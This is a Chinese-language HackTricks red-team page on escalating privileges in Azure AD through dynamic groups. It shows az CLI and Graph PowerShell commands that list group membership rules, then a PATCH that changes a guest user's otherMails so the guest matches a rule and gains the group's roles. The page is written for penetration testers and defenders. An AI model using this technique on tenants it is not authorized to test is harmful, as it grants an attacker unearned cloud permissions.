Az - 动态组 提权

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

动态组 是一类配置了若干 规则 的组,所有符合这些规则的 用户或设备 会被加入到该组。每当用户或设备的 属性更改 时,动态规则会被 重新检查。当创建 新规则 时,所有设备和用户也会被 检查

动态组可以被分配 Azure RBAC roles,但无法将 AzureAD roles 添加到动态组。

此功能需要 Azure AD premium P1 许可证。

提权

注意默认情况下任何用户均可在 Azure AD 中邀请来宾,因此,如果动态组的 规则 根据可以在新 来宾设置属性 来授予 权限,那么就可以通过使用这些属性 创建来宾提升权限。来宾还可以管理自己的个人资料并更改这些属性。

获取允许动态成员资格的组:az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

动态组 枚举

获取动态组的规则:

使用 Azure CLI

az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table

使用 PowerShellMicrosoft Graph SDK:

Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule

示例

  • 规则示例: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • 规则描述: 任何具有包含字符串 ‘security’ 的备用邮箱的 Guest 用户将被添加到该组

对于 Guest 用户的邮箱,接受邀请并在 https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
不幸的是,该页面不允许修改属性值,因此我们需要使用 API:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks